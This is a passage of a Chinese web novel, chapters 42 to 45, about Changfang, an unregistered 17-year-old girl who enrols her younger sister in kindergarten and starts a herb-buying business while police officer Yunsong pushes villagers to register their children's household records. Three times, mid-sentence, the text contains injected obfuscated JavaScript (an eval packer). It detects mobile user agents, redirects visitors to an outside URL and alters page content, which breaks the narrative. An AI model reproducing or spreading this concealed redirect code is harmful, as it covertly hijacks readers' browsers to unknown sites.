她想起了一些事情,她念书的时候,听的最多的就是父母是世界上最爱孩子的人,没有父母不爱孩子,她身边也有很多对自己娃儿很好的父母,她还没有真正认识到自己亲生父母的时候,学校,学校老师周围其他人已经让她理解了父母这个称呼。 常芳想到这里的时候,脑海里想起了另外一件事,那是她在三姑家的时候,有一次她爷爷从山里背柴回来,人从田坎上摔了下去,把肋巴骨摔断了,让三姑回去照看一段时间。 传话的人说:“常芳也是大姑娘了,她可以帮你们家做做饭。” “你爹妈就你这么一个女儿,儿子不会照顾人,儿媳妇儿照顾又不方便,你妈又忙着挣钱,你得回去看看。好歹也是你爹。” 她还记得那个时候三姑气得脸都红了:“爹什么爹?平时从来不把我当人看,户口不给我上户口,我嫁人以后,就跟我婆家说,要是不听话就随便打,这话是他说的吧?他占着一个爹的称呼,就觉得这个世界上其他爹为儿女做过的事情,他也做过了!” 当时,常芳听着这话,那个时候还听不懂,可她记下来了。 而现在,她开始理解了。 这个世界上很多很好的父母,比如说靠近河坝的那对父母,她们爱自己的孩子,尽力帮自己的孩子,这些父母用自己的血肉为父母这两个字镀了金身,而她的父母,那两个不成熟的二流子,躲在这金身下,以为自己也是那样伟大,要求她回报这一切伟大。 常芳蹲在窗户下,她想到这些,心里头涌动着说不清道不明的情绪,这些情绪让她的脸微微发烫,喉咙里非常干。 云松等到常芳的三姑走了,便走到了窗户这边,打开窗户:“别蹲在这里了,蚊子多,进来洗脸刷牙,一会儿咱们一起吃早饭。” 云松好歹是警察,对于这个偷听的两个小朋友还是有察觉,只是这些事情,常芳听到了也没事。 常芳这个年纪,她愿意对自己的人生更多一些掌控,云松并不觉得是坏事。 常芳原本被发现了偷听,有些害怕,怕警察觉得自己不是好孩子,可她抬起头,看到的是警察同志温和的笑。 她心里头松了一口气,说道:“警察同志,我觉得我爸妈不会给我上户口了。” 她就是有这种感觉,她一边说,一边从窗户这里翻进来,无论是语气还是动作,都没有因为父母的事情而低落,手一撑,翻过窗户,倒是有了几分少年意气。 “没事,还有办法。”云松见她翻窗进来,于是自己手一撑,翻了出去,然后把欢欢从外面抱进来。 “你们拿着盆,过去刷牙洗脸。” 两个女娃子去一楼最边上的水池那里,洗脸刷牙,云松则准备做早饭。 唐朝和佟锦今天天刚蒙蒙亮就出去了,现在就只有云松了。 她早饭准备煮面。 常芳刷牙回来,看到的就是云松倒水进去了,旁边放着三个鸡蛋。 常芳的常年做饭经验让她想说点什么,可她和大人相处的经历又让她闭嘴了。 她眼睁睁看着警察同志,锅里放了热油,然后就倒水,水煮开了就放面,最后打了三个鸡蛋下去。 不理解啊! 常芳脑海里已经重新规划了一下,有油有鸡蛋有面。 先放油,再把三个鸡蛋煎一下,最后倒水进来,无论是面还是鸡蛋,都会好吃! 城里来的警察同志,她这样做,肯定有她的道理,也许是更好吃…… 最后,姐妹俩再加上云松,一人一碗面,里面一个荷包蛋。 云松戳了戳荷包蛋,觉得很不错了。 常芳:“真好吃。” 云松吃了一口,不怎么好吃,她有种感觉,眼前这个看着不大的娃吃得不是面,是人情世故。 忽略掉面不好吃的问题,云松三个人快速吃完了早饭。 “你今天白天有没有什么计划?”云松问道。 常芳也不知道,而且她过往经历中从来没有出现过这种情况,一整天都是她说了算…… 以前每天要做的事情都是差不多的,去地里除草,施肥,下午去打柴,打柴回来以后再去砍猪草,煮猪食喂猪。 一天下来,除了睡觉做梦的时间,其他时候都被安排好了。 现在,早晨,一整天,看她自己的想法。 常芳还真有想法:“我想去二姨家拿我的金蝉花回来,到时候把金蝉花卖钱,有了钱,妹妹可以先去读幼儿园,我再想其他的活路。” 她自己没有读过幼儿园,而妹妹刚好是这个年纪,她希望妹妹能先读幼儿园,再去上小学。 而且她还有一个自己的小心思,她老是说父母的坏话,她心里头还是有一些负担,怕别人觉得她这个人性格不好,所以她把自己心里头的计划说出来,也想让警察同志知道她其实是个很好的人。 云松看了看这个十七岁的姑娘,她自己又瘦又矮,一米五几的身高,看上去怎么都不像十七岁,可她已经要操心另一个孩子的人生了。 就算是给这两个姑娘上了户口,到时候她们会有更好的生活吗? 云松心里思索着怎么妥善处理这件事,但今天还是得去村子。 于是,三个人这才出发,欢欢毕竟年纪小,没走多久就累了,云松便背着她,一开始常芳不太愿意,她总有一种责任感,觉得自己应该照看妹妹,不能让妹妹麻烦人。 好在,她们到猫头山的时候,常芳还记得把之前的算命的本本还给人家,毕竟是人家的传家宝。 老太太接了过来,常芳还第一次见到这个老太太乐呵呵地,说道:“还回来就好。” 她把那传家宝随便放在了一边,便问云松道:“你们这是去哪儿?一会儿来吃午饭吧。” “去上面老麻村,去宣传一下户口登记问题,午饭肯定来不及了。” 老太太看到了云松背上的欢欢,道:“你这样背上去,累得很,不如把这个娃儿放我这里,反正我们今天也不出门。” 云松虽说信任这对老夫妻,但她背的毕竟是别人家的孩子,所以她并没有开口。 旁边,常芳完全不介意这件事,说道:“那太感谢婆婆了,我们很快就回来了,欢欢,你在婆婆这里要不要得?” “要得啊。”欢欢才不介意在哪儿,反正在哪儿都行。 同林镇的农村人把孩子交给别人帮忙带一下的条件就是认识对方就行,毕竟村子里人员几乎不流动,大家世世代代都住在这里,自然相互之间没有多少防备。 对于常芳来说,这就更常见了,她自己也是从小就被扔到这家又扔在那家。 老太太便过来牵,一边牵一边对云松说道:“你们天黑之前一定要回来,把这个女娃带回镇上去,单家独户的,晚上不安全。” 毕竟单家独户的,白天没事,万一晚上又像上一次那样遇到了来偷东西的小偷,老太太觉得自己老两口这么大的年纪,死了就死了,可别连累一个小娃儿。 于是,老太太搬了一个小凳子,欢欢坐在小凳子上,跟老太太一起剥玉米粒,这么点大的孩子,她似乎明白什么时候该做什么,完全不给人添麻烦。 云松心里头叹了一口气,常芳的爹妈啊!用同林镇的话说,造孽啊! 常芳心里头怕妹妹给老婆婆添麻烦,剩下的路越走越快,很快她们到了三里村六组。 “警察同志,我先去找我二姨,拿到了金蝉花,我就回老婆婆家等你,到时候咱们一起回镇上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863822|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常芳还挺有规划。 云松不太放心:“你一个人……” 常芳摆摆手,道:“警察同志,你放心吧,我就是长得有点小,实际上我已经是大人了,再说了,我十岁就一个人去山崖下打柴了,不会有问题。” 常芳并不希望警察同志把自己当成小孩看,对于常芳来说,一旦被当做小孩,就意味着后面大人们决定她人生的时候不会跟她商量。 她是大人。她已经做了这么多大人才能做的事情了。她也应该被当做大人看待。 她喜欢警察同志,可她不会变成她的负担。一个总是借住在别人家的孩子,最清楚的就是不要让自己变成别人的麻烦。 云松明白了对方的意思,说道:“那到时候你在李阿婆家等我。” 常芳松了一口气,她和警察同志分开,很快就到了二姨家。 二姨本来在田里翻田,看到了常芳这丫头,她有些惊讶:“常芳,你怎么回来了?你妹妹呢?” 常芳道:“二姨,我来拿东西。” 二姨从田里过来,说道:“上一次让你来我家,你怎么回去了?后面怎么去了警察那里?” 她问了一连串的问题,却又好像不关心问题的答案继续往下说:“我听你大姨说了,你想上户口,你妈现在怀着孩子,你不要跟她计较。” 常芳跟在她身后,听着她说话的声音,脑海里忍不住想起了猫头山的婆婆说的那些话。 本来她都把这件事情放在脑后了,现在又想起来了。 “二姨,我命格很好。” 二姨沉默了一会儿,问道:“谁跟你说的?” 常芳说道:“二姨,我命格不克人。” “不说这个了。”二姨眼神闪躲,不愿意继续说这个事情。 常芳便懂了。 “二姨,我金蝉花放在窗户上的,没有扔吧。”二姨不肯说这件事,常芳就不说了。 二姨道:“没扔,放心吧,吃了饭再走吧,二姨给你煮鸡蛋面。” “不用了,我今天有点忙,妹妹还在等我。” 二姨忍不住说道:“常芳,你真的长大了。” 常芳只是体面地笑了笑,说道:“还是多亏了你和大姨三姑的照顾。” 常芳说完这句话的时候,心里就决定算了,她是大人了,不要跟人计较过去的事情了。 不计较二姨过去是不是用她来让自己儿子不用愧疚害死了弟弟。 不计较村子里人提起这件事就说是她命格克的。 不计较大表哥为这件事欺负她打她…… 啊! 常芳跟在二姨身后,到了家门口,大表哥已经成亲两年了,常芳看到他时,对方脸一下子就垮下来了。 常芳没理他,径直进了屋。 金蝉花被她放在窗户台上,她心里很担心不见了,好在那里平常也没有人去管。 一大包金蝉花,常芳全部拿了下来。 “吃个饭再走吧。”二姨又说道。 常芳摆了摆手,道:“谢谢二姨的好意,今天真的没空。” 她说完就往外走,路过大表哥的时候,看到对方那个样子。 她想起了对方以前欺负她的事情,他那个时候如此蠢,也许是还没有成年。 现在呢?他挎着脸看着她,仿佛她真的就是凶手。 这个人二十四岁了。 常芳突然意识到,原来有些人只是看着长大了。 实际上,什么都没有变。 常芳路过他时,轻声道:“大表哥,你梦到过你弟弟没?不知道为什么,是我克死了他,但我从来没有梦到过。” 常芳说完就走,一分钟都不留。 她还要去找妹妹,然后在婆婆那里等警察同志,最后她们回镇上。 她再去把金蝉花卖了,有了钱,妹妹去读幼儿园,她再想其他的活路。 她大步往前走,走着走着,她最后在田坎上跑了起来。 另一边,老太太跟欢欢一起剥玉米粒,一老一小早就忘记了第一次见面的不愉快,还摆起了龙门阵。 “你们上一次回去,你姐姐跟你妈老汉说没说命贵重的事情?” “说了,我妈不让我姐姐说,我姐姐都哭了。唉——”小女娃叹了一口气。 “那你们以后怎么办呢?” “我姐姐说让我去读幼儿园。可是我都没得户口,读幼儿园也没得用嘛,以后又不能考学。”欢欢听多了姐姐的事情,自然也懂这些了。 老太太看着这个女娃子,陷入了沉思。 43.她们说我能诅咒人(十二) 第四十三章 对于常芳这样的苦力娃来说,下山,身上什么都没有背,只提了一个两斤左右的金蝉花,真的太轻松了,常芳一路飞了下来,中途,停下来的时候,她还捡了几个青头菌。 今年的菌菇好像比往年要迟很多,以前这个月份就没了。 远远地,她看到妹妹在招手,原来欢欢一直在等她下来,一看到姐姐,立马招手。 “姐姐!你快点来!婆婆说要给我们煮甜酒鸡蛋吃!” 同林镇把醪糟叫甜酒,今年老两口的糯米收成很好,这段时间,老太太看到云松三个人上上下下的,又累又饿,但又没有时间吃点东西。 她便想起来了做点甜酒,她男人去镇上买了甜酒曲,她在家里煮了糯米饭,晾凉后,加入了新买回来的甜酒曲,一大洋瓷盆,上面盖了一块纱布,放在了柜子里。 现在差不多好了。本来只打算给云松,全世界的人,老两口就只看云松顺眼,自然有好东西也就只想给她一些。 但今天听这个小丫头说话,她说了很多家里的事情,可怜得很,而且小姑娘对自己和自己姐姐的可怜一无所知,仿佛一切都是正常的。 老太太心里头还是有些心疼人。 于是,常芳下来,得到了一碗甜酒酿蛋。 两个鸡蛋卧在中间,甜酒又甜又香。 “吃吧。”老太太说道。 “这……这怎么好意思啊。”常芳心里头咽了咽口水,可她现在自我定位是大人,于是她说道:“我们两姐妹总是给你添麻烦,没给您拿点东西不说,怎么好还让您给我们做吃的。” 老太太扭过头,板着脸,道:“……最烦你们话一大套一大套的。麻烦得很。” 常芳第一次见面就发现这老太太脾气不好,现在人家这样说话,她也不介意,反而嘿嘿一笑,说道:“我刚做大人,我也觉得这样麻烦,但我看其他大人都这样。” 老太太对于这个年轻女娃的反应倒是有几分惊讶,说实话,这个姑娘那个所谓的命格,她没当一回事,哪有一个出生日期就决定了一辈子的,但此时此刻,这姑娘的反应,让她觉得,这娃儿是个干大事的。 常芳已经开始吃了起来,她一边吃一边想着刚才和老太太的对话。 她一吃完就忍不住问老太太:“婆婆,我刚做大人,我现在学的是我姨妈,我三姑的,我感觉能用,但不多,婆婆,你能不能教教我?” 诶?诶? 老太太转过头,这姑娘是真的好奇,真的想学学为人处事。 老太太虽说不爱和人交流,可她心里头也有无数生活经验,有着很多对生活的思考,随着年纪的增加,她的这些经验只能烂在她肚子里。 现在,常芳大大方方地问她。 她心里头哪里憋的住,把自己最看不惯一些同林镇人的行为说了出来:“也没有其他的,你别学那些小里小气的人,做点事扭扭捏捏的,你做事要大气些,想要什么,自己要去拿,不要这不好意思,那不好意思。别人给,你就拿着,大大方方地说个谢谢,别一个劲地推辞,就比如说刚才,最后还搞得我逼着你吃似的,这反而让人不高兴了。” 常芳以前被教的不是这样,以前都是说别人给你,你就拿着,那是没有礼貌,可是现在她听老太太这样说,她觉得很有道理,便认真地点头。 她对老婆婆有种很特别的情感,哪怕一开始是吵架,可这不一样,和过去所有的关系都不一样。 她过去所有的关系实际上都建立在她是她父母的女儿上,不是她这个人。 大姨二姨收留她,对她好,并不是因为她这个人,而是她们要帮她们的妹妹处理这个麻烦。 但这个婆婆不是。警察同志也不是。 刚婆婆说了,想要什么就得说,于是常芳继续问了一些问题。 她们在这里聊了两个多小时,云松带着唐朝和佟锦也下来了,云松面上没有多少愁,实际上心里焦虑。 这一次上去,无非就是宣传上户口的事情。 因为她们现在在查这个事情,村子里很多人把自己超生的孩子连夜送去了亲戚家,然后直接否认还有超生娃的事情。 其实这事特别好查,因为村子里的所有孩子,无论上不上户口,都得打预防针,那里有记录。 但云松三个人商量过后,还是决定不用这种方式。 国家政策在打疫苗上没有限制户口,就是希望惠及每一个儿童,她们要是用这个查,肯定会对后面超生的孩子造成影响。 于是,这就需要三个人拿不出铁证的情况下去说服人家。 如果说廖家的高压锅案子,让她感受了一把同林镇人的说话的艺术,那这一次,云松算是体会到了同林镇人阴阳怪气起来有多让人心梗。 超生,要求她们给超生的孩子上户口,而上户口,就得交罚款,几乎人人都在说这个问题。 “我们哪儿来这么多钱啊!你们这不是不给我们活路吗?” 于是,警察们开始科普上户口对孩子的重要性,有了户口,娃儿才能享受到教育资源,有消息说,九年义务教育可能也不远了,到时候初中不交学费也能读。 “屋头娃儿没得那个命哦。” 最气人的不是这个,最气人的是,云松三个人稍微查一下就能发现,家里无论是第几个孩子是儿子,只要是儿子,就有钱交罚款了,女儿就没钱交。 云松面上没有表现出来,心里默念一万遍自己是警察,不要带私人情绪,可看着这样的事情,人也是真的很难受。 个人情绪问题,不只是警察有,村里人也有。 “我就晓得,我们这个卡卡国国,还来几个警察,肯定不是啥好事,搞半天是来要钱的了。”不是指责的语气,而是那种自己知道了一个天大的秘密的语气。 云松:“……我们是来履行我们作为警察的职责,你们没必要这样说。” “你们这么积极,肯定还要分钱吧?”人家暗戳戳地来了一句。 啊!人生至暗时刻。三个人都心梗了。 好在对方也只是发泄情绪,多的还是没有。 她们回到猫头山的时候,看到的是欢欢,她这样的孩子,命运几乎是大人决定,她们作为警察,哪里能看着不管? 云松心里多少憋屈都没了,她们这一时的憋屈,给这些半大的孩子换一点新的可能。 稳赚。 但她们的力量的确太小了,云松把之前计划的流动法院的事情说了一下。 佟锦立马同意,说道:“是时候让法院那边的同志也来感受一下了。” 唐朝也点头:“回去咱们就写报告。” 公检法,有苦,大家一起吃。 这事也还是有个方向,目标就是上户口。 但三个人心里看着前面跑得飞快的常芳,心里不免有些难受。 妹妹欢欢还好,对于欢欢来说,人生才刚刚开始,只要云松她们想点办法,总归她能够过上和其他孩子差不多的童年。 常芳怎么办? 她十七岁了,小学没有读完,没有户口,就算是上了户口,她再回去读小学,对她自己来说,也同样很困难。 常芳自己似乎没有想那么多。 她乐呵呵地回了镇上,她回到了镇上后,就把欢欢拜托给了云松。 “警察同志,我去一趟药铺,我妹妹放您这里一下,我一会儿就回来。” 云松道:“我陪你一起去药铺。”云松考虑到镇上的药铺未必会收金蝉花这种特别的中药材,也担心镇上药铺会看常芳年纪小,占她便宜。 常芳摆了摆手,道:“我知道药铺在哪儿。” 她明确地划分了界线,飞快地跑了。 药铺就在老街上,名字叫杏林阁,里面有一个老中医,还有一个中年妇女正在抓药。 “同志,你们收这个吗?”常芳走了进去,把自己这一袋子药材放了下来。 那妇女先是被同志这个称呼吸引了,进而看到了里面的蝉蜕? 不像啊。 “这是金蝉花,你们收金蝉花吗?” 旁边原本在打瞌睡的老中医听到这些话,走了过来,笑道:“你还知道金蝉花啊?” “那你们要不要吗?你们要是不要的话,我就让警察同志带去城里卖。” “小孩子家家的,不要着急,我先看看品质了。” “你先看看。” 老中医在看她的金蝉花,常芳那双眼睛也没有停下来,她在看他们柜子上的那些药材。 诶? 好多都是她认识的耶。 “那个艾草好多钱一斤呢?” “这个丫头,金蝉花还没弄清楚,就又要弄艾草了,艾草就便宜哦,几毛钱一斤。”那中年大婶笑道。 常芳哦了一声,她们老家倒是没有人弄这些,这就叫不务正业,田里的,地里的,才叫正事。 常芳心里头有了一个模模糊糊的影子,便又说道:“你们一般有送来都收吗?” “你还有不少吗?” “我就问问。” “咱们药铺收不了那么多,一般缺了才收一些。” 而这个时候老中医也看得差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869311|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多了,常芳便问道:“怎么样?你们买不买?不买的话,我就带去城里卖了。” 她心里头觉得自己很聪明,要让对方觉得,自己可不是非得卖给她们,不能吃亏。 “你这个不是今年的吧?” 常芳:“……”撒谎还是有点难。 “你们不要吗?” “也不是不要,就是今年的话,价格会高一些。” “那我这个,你能给多少钱一斤?太少了的话,我就去城里卖。大不了搭一个车费进去。” “那划不来啊,你一去一来,也要不少车费了。我看你也是个聪明娃儿,我都跟你实话说,要是是今年的,我能出30块钱一斤,但你这个是前两年的,我没说错吧,只能20块钱一斤。” 常芳一听,也的确是这样,警察同志说这个在城里卖,大概四十块钱一斤,要真的去城里,这一去一来的车费,也的确不少了。 她也不跟人讨价还价了,道:“那行,你们称一下,我就卖给你们了。” 老中医去称重,常芳便继续看那些中药材,她说道:“你们这些药材都收是吧?你们收的,我都记一下价格。” 那妇女从后面拿了一个牌子出来,上面便是写着各种中药材的价格。 最便宜的是苦蒿,晒干以后的价格是三毛钱一斤,折耳根八毛钱一斤,比较贵的是蝉蜕,15元一斤…… 金蝉花这种没有在收购的上面。 蝉蜕说是说贵,实际上一只蝉蜕轻得跟羽毛似的,不压秤。 常芳都记了下来,她心里头翻涌着某种东西。 老中医拿了48块钱,四张十块钱,一张五块钱,三张一块钱的。 常芳认真地收了下来,这是她挣的钱。 过去,干了多少活都没有钱,那是因为她是寄人篱下的,她需要干那些活才行。 常芳收着钱,踏着晚风和夕阳往回跑,她感觉到了一种满足感。 她有钱了。 常芳并没有回同林初中,而是找人问了一下幼儿园在哪儿。 幼儿园这个时候已经放学了,空荡荡的。 常芳没看到人。 “做啥子?”一个声音从里面出来。 常芳:“我想给我妹妹报个名。” 那人从里面伸出头来,看到了常芳:“你多大年纪了?” “这个不重要,我是给妹妹报名,我妹妹六岁了。” 她怕人家继续追问,于是赶紧抛出一个对方能回答的问题:“你们这里要给多少钱?” “八十块钱一学期,包午饭。” 常芳点了点头,说道:“那我现在来,肯定要便宜一些吧,现在都十一月了。” 这倒是真的,对方说道:“现在来,五十块钱就行。” “我妹妹胃口小,吃饭吃的少,而且平时特别乖,不闯祸,再便宜一点吧。” 常芳继续说道:“而且多一个娃儿,对你们来说也不添什么麻烦。” 对方道:“你还挺会说话,那四十块钱也行。”本身她的底线其实也是四十块钱。 “要不要户口?” “我们幼儿园不用,你把娃儿送过来就行。” “那我先给钱?还是明天送妹妹过来再给钱?” “现在给吧,定下来。”对方其实是看常芳年纪小,怕对方就是说说而已。 常芳心里头也怕对方糊弄自己,于是说道:“我妹妹叫张常欢,我们现在跟警察同志一起住在初中寝室,我明天就把妹妹送过来。” 常芳并没有在一开始提警察同志,因为那有种在借警察同志的身份做事,现在就不一样,现在是怕对方欺负自己年纪小,震慑一下对面。 对方收了钱,说道:“我给你开个单子,明天早上八点你把妹妹送过来就行,下午五点就要来接,知道吗?” “我记下了。”常芳看着妹妹进幼儿园的单子,觉得自己可真是个合格的大人! 她回去的时候,云松三个人正在开会,针对黑户问题。 资深黑户常芳在旁边听着,她心里头很想帮忙,但她也没有办法,有些父母就是不给女儿上户口,唉。 第二天一大早,欢欢就被送去了幼儿园,她完全没哭,反而觉得好玩,这可比在村子里好玩。 没了欢欢,常芳便毫无心理负担地跟着云松一起去乡下。 云松三个人先去找村干部做思想工作,希望村干部能够起带头作用。 她们干思想工作,常芳也没有闲着,她很快找到了村子里的半大的孩子们。 “你们想不想挣钱?” 44.她们说我能诅咒人(十三) 第四十四章 常芳是小孩子的时候,最大的心愿是能和大孩子们一起玩,现在常芳是大孩子了,本身就自带了大孩子光环,又是和警察一起来村子里的大孩子,村子里这群孩子见了,谁都想要和她说说话。 这段时间,村子里的半大的孩子在家里都要听大人们骂人,抱怨人。 无非就是为了户口的事情,最后落脚点必然是家里超生的那个孩子—— “都是因为你这个扫把星,一出生就把屋头的人害惨了。” 这些孩子也被教育着“没得眼睛耳朵吗?看不到警察来了吗?警察一来,你们就往山里躲,晓不晓得?” 最后说“晓不晓得”的时候,一般都要用手指戳孩子的太阳穴。 这些半大的孩子就闷着,不说话,过去的经验知道反驳不会有好事,可她们也不是傻子,她们有自己的小型社会,村子里的孩子也有社交,自然知道谁谁谁是超生的,是黑户口,她要管自己的爸爸妈妈叫姑父姑姑,不能喊爸爸妈妈。 再加上家里一般都有哥哥姐姐或者弟弟能够上户口,这些超生的孩子心里头对大人不可能没有抱怨。 于是乎,这些孩子反而对警察有好感,虽然嘴上闷着不说,心里头还是希望警察能把爸爸妈妈说服,能够给她们上户口,光明正大地活着。 也正是因为如此,常芳,这个警察带来的大姐姐,在半大的孩子中自带好感。 常芳一说挣钱,孩子们立马就靠了过来。 那可是钱! “你们之前有没有捡蝉蜕……”常芳换了一个说法:“拱嘎子壳壳?” “她们说那个卖不了钱了。”之前大家听说那个能挣钱,大人们在到处找,孩子们同样也是。 “那个时候是药铺收够了,就不要多的了。”常芳大概弄懂了这个事情,药铺做生意,主要还是卖给病人,所以平常只需要零星地收一些药材就行,多了就要不了,毕竟对药铺来说,他们的主要挣钱方式就是老中医在药铺守着,等着病人上门。 药材收多了以后,药铺消化不了,专门送去城里卖的话,不止要费车钱,还要费人力。 人家药铺吃的是大夫的饭,也看不上药材生意这点钱。 村子里的人一不知道这些药材在哪儿能卖钱,二是地里田里的活,还要养猪羊鸡鸭,已经够累了,药材这种不是到处都有的东西,费时又费力,大家也不做。 常芳又没有给人看病的本事,二没有田地,又没有猪羊鸡鸭,她可太看得上这种药材生意了。 但她自己一个人也还是不够,像艾草,臭蒿这些药材,虽说长得到处都是,可是需要割回来,再晒干,本身价格又便宜,她也不想那么费时费力去挣个几块钱。 于是,常芳就想到了过去的自己。 她当初捡拱嘎子壳壳有多卖力呢?天还没亮,她自己就偷偷一个人上山了。 可那个时候,捡了那么多,没有地方卖。 “你们把以前捡的拱嘎子壳壳都带给我,都用个袋子装起来,卖给我。” 几个孩子都看着她,有点不相信。 可问题是……当初卖不了钱,要么把那个壳壳用来玩了,要么就给大人泡酒了。 现在没了。 常芳有点不相信:“一个都没有了?” “没有了。”毕竟都是两年前的事情了。 常芳也不丧气:“没事,反正蝉蜕不压秤。” “我还要买艾草和臭蒿,你们割猪草的时候,见到了就割回来,我要晒干的,要晒得焦干。这两个都是三……”她本来想说三毛钱一斤,可这样她就只挣两毛钱一斤,啊!大人的世界啊,常芳狠了狠心,说道:“两毛钱一斤。” 对于孩子们来说,两毛钱都是不小的钱了,十斤就有两块钱了!平常去上学的哥哥姐姐零花钱也就一两毛钱一天。 常芳知道这一点。但常芳看着大家高兴的样子,她们其实才是主力,自己虽说要背下去,要去找药铺,可好像自己挣得比她们多,不太好,常芳良心还是有点过意不去。 “我想了一下,还是三毛钱一斤。你们记得多弄一些,十斤就有三块钱了。” “还要桑树皮,桑树皮也要晒干,五毛钱一斤。”桑树皮在药铺里是八毛钱一斤,她统一保证自己分的钱要低一点。 常芳把这些药材的价格都说了一遍。 到时候,她可以来村子里收,收到了以后就背到镇上去卖,如果这边镇上不收了,她就想办法去城里卖。 反正她也没有田地,可以专门干这个事情。 村子里的孩子只要上了8岁,都能背着背篓去田里里割猪草或者放羊放牛,这正是挖这些药材的好时候。 常芳第二天去的是另一个村子,警察们宣传政策,她宣传自己的收购计划。 “你们不要担心,你们找到的,我都会收走,不会像上一次的拱嘎子壳壳那样。”上一次也不知道是谁说有人要收这个东西,整个镇上所有人都在捡,最后只有一两个人捡的蝉蜕卖出去了,其他人的都烂在手上了。 常芳觉得自己得有个原则,既然说了要收,就得全收。 她就这样,跟着警察走过了七个村子。 云松几个人并不知道这姑娘在做什么。 直到第八天早上,天刚亮,云松起来,隔壁只有欢欢在。 “云松阿姨,我姐姐说她今天要去干大事,你不要担心她。” 云松有些奇怪:“什么大事?” “我也不知道,姐姐说她中午就回来了。” 云松心里头不放心,这么早,她一个人去哪儿了? 常芳是云松带走的,她心里头一直觉得自己需要对常芳两姐妹负责,云松已经和同林镇小学那边说话了,欢欢明年秋天可以直接去读小学。 可常芳怎么办?初中这边,云松去沟通过了,校长的意思是没有学籍没有户口,这些是问题,但最重要的还是孩子小学都没有读完,就算是让她跟着读一段时间,她也跟不上,而且年纪这么大了,她也很难融入这些学生了。 云松也观察过,常芳和她们一起住在女生宿舍的一楼,可常芳从来没有和这些初中女生说过话。 云松心里一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876768|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想着这个问题,不知道该怎么办。 中午的时候,常芳回来了,她的背压得弯弯的,背篓上横着一个肥料口袋,塞得鼓鼓囊囊的。 她到了宿舍一楼,她把背篓放了下来,摸了一把汗,叉着腰说道:“以后,我就叫常芳老板了!” 今天她去收药材,给大家记账,大家都这样叫她,她觉得好听极了。 她过去被命数被父母恩情压住的那些少年人才有的志气和活力,此时此刻彻底爆发了出来。 云松这才知道,这个姑娘干上了药材收购的活。 常芳继续对云松说道:“警察同志,你看我厉害不?” “厉害!”云松真的惊到了,她自己一直想的都是希望常芳能重新回学校,没有想到常芳自己也在找自己的路。 “我可不可以再黑户一段时间?”常芳说道。 云松有些奇怪:“你不着急户口吗?” “我着急,”常芳摸了摸后脑勺,说道:“可这件事急不得,我想再等四个月就可以了。只要四个月,我就缺四个月。” 云松没懂,缺四个月什么? 常芳解释道:“还有4个月,我就18岁了。” 她不再过算命先生说的十一月的生日,而是过自己原本的日子。她原本的生日是3月。也就是说她早就满十七岁了,再过四个月就十八岁了。 “十八岁,成年了,我可以自己一个户口了。我当户主。”常芳说起这件事,她心里充满了无限的喜悦。 对于云松来说,常芳的年纪是她最焦虑的事情,但凡常芳年纪小一点,就能想想办法让她再去读书,她能拥有更多的可能。 可对于常芳来说,不是这样的,她反而嫌自己的年纪小了。 她从小记事开始就是妈妈把她送去大姨家,告诉她,以后再回家,要叫她小姨。 她在大姨家,总是要去想大姨为什么不喜欢她,要去想她给大姨添了多少麻烦。 二姨家,三姑家,所以说也有高兴的时候,可大多数时候都是不开心的。 每一天,当她背着柴,或者背着猪草回到家里,看到大姨一家吃饭,她知道自己是个给人添麻烦的外人。 她盼着长大,长大了,她就可以不用寄人篱下了,她可以自己做主,就像她做主让妹妹读幼儿园就读幼儿园,她自己做主,说干药材生意就干药材生意,所以说辛苦了一点,可她高兴。 她去偷偷问过,自己给自己上户得满十八岁,只缺四个月。 只要她有个地方住,到时候她就能给自己上户口。 “警察同志,我的户口问题,再拖拖行不行?” 云松看着这个女孩,云松被一种庞大的生命力感染到了,这甚至安抚到了云松内心深处的一些恐慌。 “行。”云松说道。 她总觉得自己做得不够好,总觉得自己救不了所有人。 此时此刻,当云松以为她费尽一切心思都没有办法救常芳的时候,云松转过头,发现常芳自己求生欲望如此强烈,她已经自己爬出来了。 这怎么能不让人感动。 45.她们说我能诅咒人(十四) 第四十五章 常芳的父母是真的不明白,也没有觉得自己不给二女儿或者大女儿上户口有什么不对。 尤其是,她们也会想,两姊妹在大姐二姐家,她们又不是外人,两口子想,她们既没有扔掉,也没有送人,要知道这世道还有那种过分的人会把孩子扔了或者送给别人。 每次这样一想就不会觉得自己有什么问题。 她们都这样想了,村子里把孩子养在自己家里的人,更是不能理解了。 娃儿在自己家啊!所以说不能叫自己爸爸妈妈,只能叫姨姨夫或者姑姑父,但她们觉得自己还是心疼孩子啊,也又没有送去给亲戚养,要知道,有些不心疼自己孩子的人,会直接把自己孩子送到亲戚家去养,那种才叫苦。 她们就是不上户口而已,怎么就搞得警察都来了? 